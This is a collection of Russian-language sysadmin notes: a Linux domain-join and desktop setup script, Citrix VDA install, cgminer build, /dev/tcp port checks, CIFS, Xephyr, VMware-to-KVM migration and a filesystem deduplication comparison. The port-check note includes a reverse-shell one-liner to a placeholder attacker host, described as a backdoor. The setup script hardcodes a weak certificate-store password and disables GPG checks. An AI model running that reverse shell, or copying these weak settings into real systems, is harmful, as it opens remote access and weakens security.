yum -y install cyrus-sasl cyrus-sasl-gssapi
yum -y groupinstall "X Window System" "Fonts" kde-desktop
yum -y groupinstall "Internet Browser" "Office Suite and Productivity"
#yum -y groupinstall "Graphical Administration Tools" \
#"General Purpose Desktop" "Graphics Creation Tools"
systemctl set-default graphical.target
systemctl disable initial-setup-text
systemctl disable initial-setup-graphical

yum -y install --nogpgcheck  https://repo.yandex.ru/yandex-browser/rpm/beta/x86_64/yandex-browser-beta-17.1.1.773-1.x86_64.rpm
yum -y install --nogpgcheck https://tel.red/repos/redhat/7/noarch/telred-redhat-7-latest.el7.noarch.rpm
yum -y install --nogpgcheck http://linuxdownload.adobe.com/adobe-release/adobe-release-x86_64-1.0-1.noarch.rpm
rpm --import /etc/pki/rpm-gpg/RPM-GPG-KEY-adobe-linux
rpm --import /etc/pki/rpm-gpg/RPM-GPG-KEY-TELRED

yum -y update

yum -y install xorg-x11-server-Xvfb evolution evolution-ews evolution-plugins \
clamav yandex-browser-beta flash-plugin alsa-plugins-pulseaudio libcurl sky

#############################################
#### Setting sudo
#############################################
cat <<EOF > /etc/sudoers.d/domain_users
localuser       ALL=(ALL) ALL
%domain\ users\@$NEW_DOMAINNAME          ALL=(ALL) ALL
%domain\ users          ALL=(ALL) ALL
%domain\ admins\@$NEW_DOMAINNAME      ALL=(ALL) NOPASSWD: ALL
%domain\ admins      ALL=(ALL) NOPASSWD: ALL
EOF

sed -i "/^Defaults\ targetpw.*\$/ s/^/#/" /etc/sudoers
sed -i "/^Defaults\ env_reset.*\$/ s/\ env_reset/\ \!env_reset/" /etc/sudoers
sed -i "/^ALL.*ALL=(ALL).*\$/ s/^/#/" /etc/sudoers

#########################################
### Setup NTP servers
#########################################
sudo systemctl start chronyd.service
sed -i "/^pool.*\$/ s/^/#/" /etc/chrony.conf
sed -i "/^server.*\$/ s/^/#/" /etc/chrony.conf

for dc in $DOMAIN_CONTROLLERS;
do
echo "server $dc iburst" | sudo tee -a /etc/chrony.conf
done
sudo systemctl restart chronyd.service

########################################################
#### Setup Kerberos and Samba
########################################################
mv /etc/samba/smb.conf /etc/samba/smb.conf.bak_`date +"%d.%m.%y_%H-%M"`
mv /etc/krb5.conf /etc/krb5.conf.bak_`date +"%d.%m.%y_%H-%M"`

#########################################
### Setup Kerberos /etc/krb5.conf
#########################################
LIBDEFAULTS=$(cat <<EOF
[libdefaults]
dns_lookup_kdc = true
dns_lookup_realm = false
default_realm = $DEFAULT_REALM
clockskew = 300
default_ccache_name = FILE:/tmp/krb5cc_%{uid}
EOF
)

REALMS_KDC=$(for i in $DOMAIN_CONTROLLERS; do echo "kdc = $i";done)

REALMS=$(cat <<EOF

[realms]
$DEFAULT_REALM = {
$REALMS_KDC
default_domain = $DEFAULT_REALM
}
EOF
)

DOMAIN_REALM=$(cat <<EOF

[domain_realm]
.$NEW_DOMAINNAME = $DEFAULT_REALM
$NEW_DOMAINNAME = $DEFAULT_REALM

[appdefaults]
pam = {
        ticket_lifetime = 1d
        renew_lifetime = 1d
        forwardable = true
        proxiable = false
        minimum_uid = 1
}
EOF
)

echo "$LIBDEFAULTS" > /etc/krb5.conf
echo "$REALMS" >> /etc/krb5.conf
echo "$DOMAIN_REALM" >> /etc/krb5.conf

########################################
#### Configure /etc/samba/smb.conf
########################################
SMB_CONF=$(cat <<EOF
# smb.conf is the main Samba configuration file. You find a full commented
# version at /usr/share/doc/packages/samba/examples/smb.conf.SUSE if the
# samba-doc package is installed.
[global]
        workgroup = $NETBIOS_DOMAIN_NAME
        passdb backend = tdbsam
        map to guest = Bad User
        include = /etc/samba/dhcp.conf
        logon path = \\%L\profiles\.msprofile
        logon home = \\%L\%U\.9xprofile
        logon drive = P:
        usershare allow guests = No
        idmap gid = 10000-20000
        idmap uid = 10000-20000
        realm = $DEFAULT_REALM
        security = ADS
        template homedir = /home/%D/%U
        template shell = /bin/bash
        usershare max shares = 100
        winbind offline logon = no
        winbind refresh tickets = yes
        kerberos method = secrets and keytab
        winbind use default domain = yes
        encrypt passwords = yes
        dns proxy = no
        socket options = TCP_NODELAY
        domain master = no
        local master = no
        preferred master = no
        os level = 0
        domain logons = no
        load printers = no
        show add printer wizard = no
        printcap name = /dev/null
        disable spoolss = yes
EOF
)

echo "$SMB_CONF" > /etc/samba/smb.conf

########################################
#### Configure /etc/nsswitch.conf
########################################
sed -i '/^passwd:.*compat$/ s/$/ winbind/' /etc/nsswitch.conf
sed -i '/^group:.*compat$/ s/$/ winbind/' /etc/nsswitch.conf
sed -i '/^hosts:/ s/:.*$/: files dns/' /etc/nsswitch.conf

########################################
#### Configure /etc/security/pam_winbind.conf
########################################
sed -i "/^.*krb5_auth.*\$/ s/^.*krb5_auth.*\$/krb5_auth = yes/" /etc/security/pam_winbind.conf
sed -i "/^.*krb5_ccache_type.*\$/ s/^.*krb5_ccache_type.*\$/krb5_ccache_type = FILE/" /etc/security/pam_winbind.conf
sed -i "/^.*mkhomedir.*\$/ s/^.*mkhomedir.*\$/mkhomedir = yes/" /etc/security/pam_winbind.conf

systemctl enable smb
systemctl enable winbind
systemctl restart smb
systemctl restart winbind

############################################################
### Enable Autostart apps
############################################################
mkdir --parents /etc/skel/.config/autostart/
cp /usr/share/applications/sky.desktop /etc/skel/.config/autostart/

#######################################################                                                                                                                                        
#### Import CA Certificates into Browsers                                                                                                                                                      
#   http://blog.xelnor.net/firefox-systemcerts/                                                                                                                                                
#######################################################                                                                                                                                        
HOMEDIR=$(getent passwd $SUDO_USER | cut -d: -f6)                                                                                                                                                                                                                                                                                                   
rm -Rf $HOMEDIR/.mozilla                                                                                                                                                                  
rm -Rf $HOMEDIR/.pki                                                                                                                                                                      
                                                                                                                                                                                               
########################################################                                                                                                                                       
#### Create and fill cert8.db in Firefox Profile                                                                                                                                               
########################################################                                                                                                                                       
killall firefox                                                                                                                                                                           
sudo -u  $SUDO_USER xvfb-run --server-args="-screen 0, 1280x1024x24" firefox -CreateProfile default
FirefoxProfileDir=$(find $HOMEDIR'/.mozilla/firefox/' -iname '*.default');
for certificateFile in /etc/pki/ca-trust/source/anchors/"$CA_CERT_PREFIX"* ;
do
 certutil -A -n "${certificateFile}" -t "TCu,Cuw,Tuw" -i ${certificateFile} -d ${FirefoxProfileDir}
done
chmod -R a+rw $HOMEDIR/.mozilla/firefox/*

################################################################################
#### Import certificates into nssdb for Chromium engine
################################################################################
mkdir --parents $HOMEDIR/.pki/nssdb
echo 1q2w3e4r | sudo tee $HOMEDIR/.pki/nssdb/password-file
certutil -N -f $HOMEDIR/.pki/nssdb/password-file -d $HOMEDIR/.pki/nssdb
for certificateFile in /etc/pki/ca-trust/source/anchors/"$CA_CERT_PREFIX"* ;
do
 certutil -f $HOMEDIR/.pki/nssdb/password-file -A -n "${certificateFile}" -t "TCu,Cuw,Tuw" -i ${certificateFile} -d sql:$HOMEDIR/.pki/nssdb
done
chmod -R a+rw $HOMEDIR/.pki/nssdb/*

#########################################################
### Copy databases with imported certs to default profile
#########################################################
rm -Rf /etc/skel/.pki/nssdb/*
rm -Rf /etc/skel/.mozilla/firefox/*
mkdir --parents /etc/skel/.pki/nssdb/
cp -Rf $HOMEDIR/.pki/nssdb/* /etc/skel/.pki/nssdb/
mkdir --parents /etc/skel/.mozilla/firefox/
cp -Rf $HOMEDIR/.mozilla/firefox/* /etc/skel/.mozilla/firefox/

#########################################################
### Disable KDEWallet By Default
#########################################################
mkdir --parents /etc/skel/.config/
cat <<EOF > /etc/skel/.config/kwalletrc
[Wallet]
Enabled=false
EOF

mkdir --parents /etc/skel/.kde/share/config/
cp /etc/skel/.config/kwalletrc /etc/skel/.kde/share/config/kwalletrc

#################################################################
#### Add Launchers
#################################################################
#mkdir --parents /etc/skel/.kde/share/config/
#
#cat <<EOF > /ets/skel/.kde/share/config/plasma-desktop-appletsrc
#[Containments][1][Applets][5][Configuration][Launchers]
#Items=file:///opt/yandex/browser-beta/yandex_browser?wmClass=yandex-browser-beta%20%28%2Fhome%2Fmike%40test.com%2F.config%2Fyandex-browser-beta%29,file:///usr/share/applications/sky.desktop?wmClass=Sky,file:///usr/share/applications/kde4/konsole.desktop?wmClass=Konsole,file:///usr/share/applications/evolution.desktop?wmClass=Evolution
#EOF

##############################################
#### Join domain using Samba-Winbind
##############################################
#net ads join -U $AD_USER

Setup Citrix VDA 1.3

#!/bin/bash
systemctl enable postgresql.service
systemctl start postgresql
postgresql-setup initdb
CTX_XDL_SUPPORT_DDC_AS_CNAME=N \
CTX_XDL_DDC_LIST="v-szud-ctxdc-01.sigma.sbrf.ru v-szud-ctxdc-02.sigma.sbrf.ru" \
CTX_XDL_VDA_PORT=80 \
CTX_XDL_REGISTER_SERVICE=Y \
CTX_XDL_ADD_FIREWALL_RULES=Y \
CTX_XDL_AD_INTEGRATION=1 \
CTX_XDL_HDX_3D_PRO=N \
CTX_XDL_VDI_MODE=Y \
CTX_XDL_SITE_NAME='<none>' \
CTX_XDL_LDAP_LIST='<none>' \
CTX_XDL_SEARCH_BASE='<none>' \
CTX_XDL_START_SERVICE=Y \
/opt/Citrix/VDA/sbin/ctxsetup.sh

cgminer-update

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

tar xfvz AMD-APP-SDK-v2.8-lnx32.tgz
chmod +x Install-AMD-APP.sh
./Install-AMD-APP.sh
rm -rf /opt/AMD-APP-SDK-v2.4-lnx32/
coldreboot

Это все устанавливается в /opt/AMDAPP

И в update.sh надо бы прописать /opt/AMDAPP вместо /opt/AMD-APP-SDK-v2.4-lnx32/

update.sh

#!/bin/bash

./autogen.sh
ATISTREAMSDKROOT="/opt/AMD-APP-SDK-v2.4-lnx32/"  CFLAGS="-O2 -Wall -march=native" ./configure --enable-scrypt --enable-bitforce --bindir="/opt/miners/cgminer" --prefix="/opt/miners/cgminer"
make -j3

sync
./cgminer -n

ln -sf /opt/AMDAPP/include/CL /usr/include
ln -sf /opt/AMDAPP/lib/x86/* /usr/lib/
ldconfig

cd /opt/miners
rm -rf cgminer
git clone https://github.com/ckolivas/cgminer.git
cp /mnt/data/update_bamt/ADL_SDK/include/* /opt/miners/cgminer/ADL_SDK/
cd cgminer

change_running_process_environment_variables_on_the_fly

anonymous@undisclosed.example.com (Anonymous) — Thu, 21 Feb 2019 09:08:45 +0000

Задача

У меня есть GUI-приложение, работающее с локальным X-сервером. мне нужно переместить его на удаленный X-сервер.
Для этого, нужно “на лету” изменить значение переменной DISPLAY в рабочем окружении процесса.

Варианты

С помощью дебаггера

(gdb) attach process_id
(gdb) call putenv ("DISPLAY=your.new:value")
(gdb) detach

Вызов функций setenv и unsetenv

check_host_port_availability

anonymous@undisclosed.example.com (Anonymous) — Mon, 12 Dec 2022 12:26:17 +0000

Иногда бывает нужно проверить доступность хоста по IP-адресу и порту.Проверить подключение можно с помощью nc:

nc -v ~~IP-ADDRESS~~ ~~PORT~~

А если нет nc, то есть чистая конструкцияя на bash:

printf "" 2>>/dev/null >>/dev/tcp/~~IP-ADDRESS~~/~~PORT~~ && echo "Ok" || echo "Failed"

Например, дождаться запуска сервиса (в данном случае docker) можно так:

timeout 60 bash -c 'until printf "" 2>>/dev/null >>/dev/tcp/$0/$1; do sleep 1; done' 0.0.0.0 2375

/dev/tcp - это виртуальная функция bash, то есть на самом деле такого устройства нету.
Еще примеры.
Проверить доступность ssh-сервера:

cat < /dev/tcp/127.0.0.1/22
SSH-2.0-OpenSSH_7.4

Сделать запрос на HTTP-сервер:

exec 15<>/dev/tcp/consolechars.wordpress.com/80
echo -e "GET / HTTP/1.1\n\n" >&15
cat <&15

Пробросить порт на удаленный сервер (фактически - сделать бекдор):

bash -i >& /dev/tcp/attackersip/port 0>&1

cifs_mount_no_such_file_or_directory

anonymous@undisclosed.example.com (Anonymous) — Mon, 22 Jul 2019 11:17:08 +0000

Конфигурация

Хост Ubuntu 19.04 в домене Windows.
В домен загнан с помощью samba и winbind.

Проблема

При попытке монтирования DFS-ресурса с помощью команды типа:

sudo mount -v -t cifs //dfs/homefolder$/username /mnt -o username=user.name,rw

вылезает ошибка:

mount error(2): No such file or directory

В dmesg такое:

CIFS: Attempting to mount //ds01/homefolder$/usik.ma
CIFS VFS: cifs_mount failed w/return code = -2

При этом, к ресурсам, расшареным на серверах (не в DFS) доступ имеется.

Решение

Проблема оказалась в отсутствии пакета keyutils и все разрешилось с его установкой.

sudo apt-get install keyutils

Также нормально заработал pam.mount.

cloud.mail.ru_linux_clients

anonymous@undisclosed.example.com (Anonymous) — Tue, 15 Jun 2021 14:21:50 +0000

После того, как mail.ru завершила официальную поддержку клиента под Linux, я начал собирать информацию о свободном ПО, которое можно использовать для работы с этим облаком.
https://github.com/yar229/WebDavMailRuCloud - Это конвертер протокола Mail.RU в WebDAV. Написан на .NET. Проект живой (в конце 2020)
https://github.com/erastmorgan/Mail.Ru-.net-cloud-client - API для работы с облаком на .Net4.8 C#. Проект заброшен.
https://github.com/erastmorgan/MailRuCloudClientDotNETCore - API написан на .DotNET Core. Вроде иногда обновляется. https://gitlab.com/Kanedias/MARC-FS - говорят юзабелен - FUSE filesystem for Mail.Ru Cloud
https://github.com/pozitronik/CloudMailRu - плагин для TotalCommander.
https://cloudcross.mastersoft24.ru/ (https://github.com/MasterSoft24/CloudCross) - кажется то что надо! форкнул себе - https://github.com/MikeQ123/CloudCross

connect_to_remote_xorg_using_xephyr

anonymous@undisclosed.example.com (Anonymous) — Mon, 14 Oct 2019 12:48:15 +0000

https://nek0.eu/posts/2014-10-25-Desktop-forwarding-via-X-using-Xephyr.html на клиентской машине (той с которой подключаемся) разрешаем биндить порты непривилегированным пользователям (необязательно):

echo 'net.ipv4.ip_unprivileged_port_start=0' | sudo tee -a /etc/sysctl.d/50-unprivileged-ports.conf
sysctl --system

на клиентской машине (той с которой подключаемся) ставим xephyr:

sudo apt-get install xserver-xephyr

На клиентской машине файлике ~/.ssh/config или /etc/ssh/ssh_config прописываем:

Host *
    ForwardAgent yes
    ForwardX11 yes
    ForwardX11Trusted yes

На серверной машине (к которой подключаемся) в файлике /etc/ssh/sshd_config должно быть:

X11Forwarding yes

Строим туннель до системы в удаленной локалке (если серверная машина к которой подключаемся находится за другой):

ssh -f -N -L 2233:xubuntu:22 remote-server -l user

На клиентской машине запускаем Xephyr:

Xephyr :1 -screen 800x600 -resizeable &

И подключаем сессию:

DISPLAY=:1 ssh -Y <user>@<host>

convert_absolute_synlinks_into_relative

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Существуют два варианта конвертирования абсолютных симлинков в относительные. Первый - с помощью readlink (если он есть):

cd /mnt/hdd/Downloads/FreeBSD-11.0-RELEASE-amd64-disc1_/ && find . -lname '/*' | while read l ; do   echo ln -sf $(echo $(echo $l | sed 's|/[^/]*|/..|g')$(readlink $l) | sed 's/.....//') $l; done | sh

Второй - с помощью symlinks:

sudo apt-get install symlinks
cd /mnt/hdd/Downloads/FreeBSD-11.0-RELEASE-amd64-disc1_/
symlinks -cr .

convert_vmware_to_kvm

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Нужно переместить часть машин из инфраструктуры vSphere на KVM. Для этого понадобятся хост с linux+qemu+kvm и набр утилит libguestfs-tools (в частности - virt-v2v)

Импорт машин из vSphere в Fedora Server 25

Исполнять перенесенные машины можно на любом дистрабутиве linux, однако проще всего всего процесс миграции идет под rpm-based системой с текущей стабильной версией libguestfstools.
На данный момент такой версией дистрибутива является Fedora Server 25. Итак ставим Fedora Server 25 с дефолтным набором ПО. А затем:

dnf -y install @virt* policycoreutils-python bridge-utils virt-v2v *guestf* 
echo LIBGUESTFS_BACKEND=direct > /etc/envoronment
wget https://fedorapeople.org/groups/virt/virtio-win/repo/stable/virtio-win-0.1.126-2.noarch.rpm
rpm -iv ./virtio-win-0.1.126-2.noarch.rpm

Обязательно перезагружаемся:

reboot

Теперь можно импортировать виртуальную машину:

virt-v2v -v -x -ic vpx://DOMAIN%5cadmin@vcenter.domain.local/Datacenter%20Name/Cluster%20Name/esx_host_name?no_verify=1  -os storage-pool-name vm-name

После импорта можно поправить конфигурацию сетевого интерфейса (установить корректный интерфейс для bridge) и диска (установить режим кеширования и режим ввода\вывода).

  Cache mode: none
  I/O mode: native

Некоторые нюансы составления URI для virt-v2v

Формат URI такой:
_username_@_vcenter_address_/_DataCenter_Name_/_Cluster_Name_/_hostname_
Если пользователь доменный, то его в его имени в URI символ \ нужно заменять на %5c, то есть будет как-то так: DOMAIN%5cusername. Использовать экранирование \\ не получится.
Если не указывать имя пользователя, то будут ошибки на этапе скачивания диска vmdk:

curl -q --insecure --head --silent --url '....'
HTTP/1.1 401 Unauthorized

При указании имени датацентра и кластера важен регистр символов!

Пробелы в названиях датацентра и кластера заменяем на %20, символ \ заменяем на %5c.

Импорт в ubuntu 16.04

sudo apt-get update -y && sudo apt-get upgrade -y && sudo apt-get install -y nano alien qemu-kvm libvirt-bin  bridge-utils libguestfs-tools
wget https://fedorapeople.org/groups/virt/virtio-win/repo/stable/virtio-win-0.1.126-2.noarch.rpm
sudo alien -i ./virtio-win-0.1.126-2.noarch.rpm

Перезагружаемся и приступаем к импорту.

virt-v2v -v -x -ic vpx://DOMAIN%5cadmin@vcenter.domain.local/Datacenter%20Name/Cluster%20Name/esx_host_name?no_verify=1  -os storage-pool-name vm-name

Всякие ошибки virt-v2v

Однако, в Cent-OS 6.8 возникали ошибки типа:

libvirt error code: 45, message: authentication failed: Password request failed
libvirt error code: 45, message: authentication failed: Username request failed

Оказалось, нужно создать файлик ~/.netrc с таким содержимым: machine vCenter_hostname login vCenter_login password vCenter_password

echo "machine vcenter.domain.local     login   DOMAIN%5cadmin        password        admin_pass" > ~/.netrc
chmod 600  ~/.netrc\

Однако, это актуально для старых версий libguestfs. В новых версиях (1.28 и далее) для этой цели предусмотрена опция –password-file.

При импорте возникает ошибка:

ошибка: Не удалось определить домен на основе /tmp/v2vlibvirtbe6ed8.xml
ошибка: internal error unknown disk type 'volume'

Судя по всему эта ошибка связана с устаревшей версией virt-v2v. В репозиториях CentOS 7_15.11 лежит версия 1.28, а эта ошибка поправлена в 1.30.

Сборка свежей версии libguestfs

Поэтому возвращаемся на ubuntu 14.04 и собираем текущую версию libguestfs-tools.

sudo apt-get update && sudo apt-get upgrade && sudo apt-get install nano build-essential qemu alien flex bison
cd ~
wget https://fedorapeople.org/groups/virt/virtio-win/repo/stable/virtio-win-0.1.126-2.noarch.rpm
sudo alien -i ./virtio-win-0.1.126-2.noarch.rpm
wget http://libguestfs.org/download/supermin/supermin-5.1.17.tar.gz
tar -xvf ./supermin-5.1.17.tar.gz 
cd supermin-5.1.17/
sudo apt-get build-dep supermin
./configure 
make
sudo make install
cd ~
wget http://libguestfs.org/download/1.34-stable/libguestfs-1.34.3.tar.gz
tar -xvf ./libguestfs-1.34.3.tar.gz 
cd libguestfs-1.34.3/

Включаем в /etc/apt/sources.list репозитории src

sudo apt-get update && sudo apt-get build-dep libguestfs
./configure 
make
sudo make check

ВНИМАНИЕ! Дальше make install делать не нужно. Запускаем так:

./run ./v2v/virt-v2v --version

На ubuntu 14.04 неудачно.

Вариант переноса машин непосредственно с тома vmfs

Я заменю ESXi на ubuntu+kvm, подмонтирую том VMFS с виртуальными машинами, перенесу данные на нативный том ext4 и импортирую виртуальные машины в конфигурацию libvirt. На первый диск вместо ESXi устанавливаем linux, в моем случае - Ububntu Server 16.04. После установки ставим на него все что нужно для хоста KVM и для переноса виртуальных машин.

sudo apt-get install qemu-kvm libvirt-bin ubuntu-vm-builder bridge-utils virt-goodies vmfs-tools

Теперь можно монтировать том VMFS:

sudo mkdir /mnt/vmfs
sudo vmfs-fuse /dev/cciss/c0d1p1 /mnt/vmfs/

Проверяем, что том смонтировался:

sudo ls /mnt/vmfs

В выводе будет список папок с виртуальными машинами. Образы дисков VMDK поддерживаются без конвертации. Просто копируем их в новое мостоположение:

sudo rsync -avP /mnt/vmfs/ /mnt/vm_images/

Теперь нужно конвертировать файлы vmx в xml. Для этого писпользуем утилиту vmware2libvirt из пакета virt-goodies:

vmware2libvirt -f <source.vmx> > target.xml
virsh -c qemu:///system define file.xml

Скрипт оказался непригоден.

curl_soap

anonymous@undisclosed.example.com (Anonymous) — Fri, 11 Dec 2020 18:18:43 +0000

http://yapro.ru/article/6517

Как выполнить Soap-запрос с помощью curl

Нужно сформировать сам запрос в виде xml, затем - выполнить запрос, указав в заголовках необходимые поля.

curl -u login:password --header "Content-Type: text/xml;charset=UTF-8" --header "SOAPAction:sky:GetServiceLis" --data @request.txt http://host/erp/ws/skynet

Тут:

-u login:password - это данные для авторизации на сервере, к которому мы обращаемся
–header “Content-Type: text/xml;charset=UTF-8” - устанавливаем тип содержимого запроса
–header “SOAPAction:sky:GetServiceLis” - задаем неймспейс sky (URN - Uniform Resource Name) и имя метода GetServiceLis

А в файле request.txt будет что-то такое:

    <soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:sky="mytest-erp/skynet" xmlns:glob="mytest-erp/Global">
       <soap:Header/>
       <soap:Body>
          <sky:GetServiceLis>
             <sky:parameters>
                <glob:OnlyChanged>false</glob:OnlyChanged>
                <!--Optional:-->
                <glob:MaximumObjectsInResult>100</glob:MaximumObjectsInResult>
             </sky:parameters>
          </sky:GetServiceLis>
       </soap:Body>
    </soap:Envelope>

deduplication_win2012r2_vs_ubuntuzfs

anonymous@undisclosed.example.com (Anonymous) — Wed, 13 Mar 2019 08:14:19 +0000

Сравнение дедупликации Windows 2012 R2, ZFS, BTRFS и SDFS на базе Ubuntu 16.04

Условия тестирования

К виртуальным машинам на базе Windows 2012 R2 и Ubuntu 16.04 прицеплены диски 50Gb.
В Windows 2012 R2 просто создан том и включена дедупликация.
В Ubuntu включаются различные варианты настроек файловых систем.
После этого тома заполняются одинаковым набором данных - архивы и дистрибутивы. То есть типичная файлопомойка. На BTRFS дедупликация выполняется после записи данных с помощью duperemove.

Если отдельно не указано - на всех файловых системах используются дефолтные настройки.

ZFS + deduplication

Перед заполнением данными на ZFS включена дедупликация со сжатием:

zfs set compression=on zroot
zfs set dedup=on zroot

sudo zfs get used,available,logicalused testdedup
NAME       PROPERTY     VALUE  SOURCE
testdedup  used         47.1G  -
testdedup  available    4.65G  -
testdedup  logicalused  47.0G  -

df -h
Filesystem    Size  Used Avail Use% Mounted on
testdedup     52G   47G  4.7G  91% /testdedup

ZFS + deduplication + compression

sudo zfs get used,available,logicalused testdedup
NAME       PROPERTY     VALUE  SOURCE
testdedup  used         44.0G  -
testdedup  available    6.96G  -
testdedup  logicalused  46.4G  -

df -h
Filesystem  Size  Used Avail Use% Mounted on
testdedup   51G   44G  7.0G  87% /testdedup

ZFS + deduplication, recordsize=4k

sudo zfs set dedup=on testdedup
sudo zfs set recordsize=4k testdedup

Производительность на запись упала очень сильно. С recordsize=4k ZFS как файлопомойка не эффективна.

ZFS + deduplication + compression , recordsize=64k

sudo zfs set dedup=on testdedup
sudo zfs set compress=on testdedup
sudo zfs set recordsize=64k testdedup

Результат:

sudo zfs get used,available,logicalused,compressratio testdedup
NAME       PROPERTY       VALUE  SOURCE
testdedup  used           44.1G  -
testdedup  available      6.85G  -
testdedup  logicalused    46.4G  -
testdedup  compressratio  1.05x  -

df -h
Filesystem  Size  Used Avail Use% Mounted on
testdedup   51G   44G  6.9G  87% /testdedup

BTRFS + duperemove v0.11.beta4

Связка BTRFS + duperemove

sudo btrfs filesystem df -h /mnt
Data, single: total=48.73GiB, used=43.96GiB
System, single: total=4.00MiB, used=16.00KiB
Metadata, single: total=264.00MiB, used=56.44MiB
GlobalReserve, single: total=32.00MiB, used=0.00B

df -h
Filesystem  Size  Used Avail Use% Mounted on
/dev/xvdb   50G   45G  5.8G  89% /mnt

BTRFS + compress-force=zlib + duperemove v0.11.beta4

BTRFS смонтирован с опцией compress-force, дедупликация выполнена duperemove.

sudo btrfs filesystem df -h /mnt
System, single: total=4.00MiB, used=12.00KiB
Data+Metadata, single: total=45.01GiB, used=40.50GiB
GlobalReserve, single: total=512.00MiB, used=0.00B

df -h
Filesystem   Size  Used Avail Use% Mounted on
/dev/xvdb    50G   42G  9.5G  82% /mnt

ext4 + SDFS default settings

wget http://www.opendedup.org/downloads/sdfs-latest.deb
sudo dpkg -i sdfs-latest.deb
sudo apt-get -f install 
sudo su
sudo mkfs.ext4 /dev/xvdb
sudo mkdir --parents /opt/sdfs/
sudo mount /dev/xvdb /opt/sdfs/

Вот объем незанятного места:

df -h

Filesystem   Size  Used Avail Use% Mounted on
/dev/xvdb    50G   52M   47G   1% /opt/sdfs

Создаем том:

sudo mkfs.sdfs --volume-name=pool0 --volume-capacity=50GB
sudo mount.sdfs pool0 /mnt

Настройки по-умолчанию получились такие:

io chunk-size="256" 
dedup-files="true"
hash-type="VARIABLE_MURMUR3"

hash-type=“VARIABLE_MURMUR3” означает, что используется переменный размер блока для дедупликации, вычисляемый автоматически.

Вот результаты после заливки файлов:

df -h
Filesystem                                  Size  Used Avail Use% Mounted on
/dev/xvdb                                   50G   41G  6.2G  87% /opt/sdfs
sdfs:/etc/sdfs/pool0-volume-cfg.xml:6442    51G   39G   12G  77% /mnt

И статистика по тому:

sdfscli --volume-info
Files : 3578
Volume Capacity : 50 GB
Volume Current Logical Size : 46.84 GB
Volume Max Percentage Full : 95.0%
Volume Duplicate Data Written : 8.76 GB
Unique Blocks Stored: 38.3 GB
Unique Blocks Stored after Compression : 38.4 GB
Cluster Block Copies : 2
Volume Virtual Dedup Rate (Unique Blocks Stored/Current Size) : 18.22%
Volume Actual Storage Savings (Compressed Unique Blocks Stored/Current Size) : 18.02%
Compression Rate: -0.25%

BTRFS + compression=zlib + SDFS

Данные SDFS размещены на томе BTRFS, на котором включена компрессия zlib.
SDFS:

io chunk-size="256" 
dedup-files="true"
hash-type="VARIABLE_MURMUR3"

df -h
Filesystem                                 Size  Used Avail Use% Mounted on
/dev/xvdb                                   50G   37G   13G  75% /opt/sdfs
sdfs:/etc/sdfs/pool0-volume-cfg.xml:6442    51G   39G   12G  77% /mnt

sdfscli --volume-info
Files : 3578
Volume Capacity : 50 GB
Volume Current Logical Size : 46.84 GB
Volume Max Percentage Full : 95.0%
Volume Duplicate Data Written : 8.76 GB
Unique Blocks Stored: 38.3 GB
Unique Blocks Stored after Compression : 38.4 GB
Cluster Block Copies : 2
Volume Virtual Dedup Rate (Unique Blocks Stored/Current Size) : 18.22%
Volume Actual Storage Savings (Compressed Unique Blocks Stored/Current Size) : 18.02%
Compression Rate: -0.25%

Производительность:

dd if=/dev/zero of=/mnt/TEST.ZERO bs=16384
1478190+0 records in
1478190+0 records out
24218664960 bytes (24 GB, 23 GiB) copied, 148.419 s, 163 MB/s

Tasks: 586 total,   2 running, 584 sleeping,   0 stopped,   0 zombie
%Cpu(s): 43.3 us, 34.3 sy,  0.0 ni, 21.8 id,  0.0 wa,  0.0 hi,  0.2 si,  0.4 st
KiB Mem :  4037716 total,  2282464 free,   874880 used,   880372 buff/cache
KiB Swap:  1171452 total,  1154028 free,    17424 used.  3067036 avail Mem 

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND                                                                                                                                                      
24084 root      20   0 3943336 768132  23104 S 141.4 19.0   4:29.02 jsvc                                                                                                                                                         
24251 root      20   0    7332    696    620 R  15.1  0.0   0:19.55 dd                                                                                                                                                           
24342 user      20   0   42348   4108   3132 R   0.7  0.1   0:00.09 top

BTRFS + SDFS + sdfs compression LZ4

sudo mkfs.sdfs --volume-name=pool0 --volume-capacity=50GB --chunk-store-compress=true --compress-metadata=true
sudo mount.sdfs pool0 /mnt

После заливки файлов:

df -h
Filesystem                                 Size  Used Avail Use% Mounted on
/dev/xvdb                                   50G   38G   12G  77% /opt/sdfs
sdfs:/etc/sdfs/pool0-volume-cfg.xml:6442    51G   37G   14G  74% /mnt


sdfscli --volume-info
Files : 3578
Volume Capacity : 50 GB
Volume Current Logical Size : 46.84 GB
Volume Max Percentage Full : 95.0%
Volume Duplicate Data Written : 8.76 GB
Unique Blocks Stored: 38.3 GB
Unique Blocks Stored after Compression : 36.9 GB
Cluster Block Copies : 2
Volume Virtual Dedup Rate (Unique Blocks Stored/Current Size) : 18.22%
Volume Actual Storage Savings (Compressed Unique Blocks Stored/Current Size) : 21.21%
Compression Rate: 3.65%

Производительность:

dd if=/dev/zero of=/mnt/TEST.ZERO bs=16384
497921+0 records in
497921+0 records out
8157937664 bytes (8.2 GB, 7.6 GiB) copied, 52.3913 s, 156 MB/s

Tasks: 582 total,   2 running, 580 sleeping,   0 stopped,   0 zombie
%Cpu(s): 47.4 us, 34.0 sy,  0.0 ni, 16.4 id,  0.0 wa,  0.0 hi,  0.0 si,  2.2 st
KiB Mem :  4037716 total,   206404 free,  1101492 used,  2729820 buff/cache
KiB Swap:  1171452 total,  1152020 free,    19432 used.  2839380 avail Mem 

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND                                                                                                                                                      
20824 root      20   0 4020188 1.226g 319568 S 151.3 31.8  20:51.12 jsvc                                                                                                                                                         
23450 root      20   0    7332    688    616 R  15.2  0.0   0:02.28 dd                                                                                                                                                           
23487 user      20   0   42348   3996   3020 R   0.3  0.1   0:00.07 top

BTRFS + SDFS - no compression

После заливки файлов:

df -h
Filesystem                                 Size  Used Avail Use% Mounted on
/dev/xvdb                                   50G   41G  9.6G  81% /opt/sdfs
sdfs:/etc/sdfs/pool0-volume-cfg.xml:6442    51G   39G   12G  77% /mnt


sdfscli --volume-info
Files : 3578
Volume Capacity : 50 GB
Volume Current Logical Size : 46.84 GB
Volume Max Percentage Full : 95.0%
Volume Duplicate Data Written : 8.76 GB
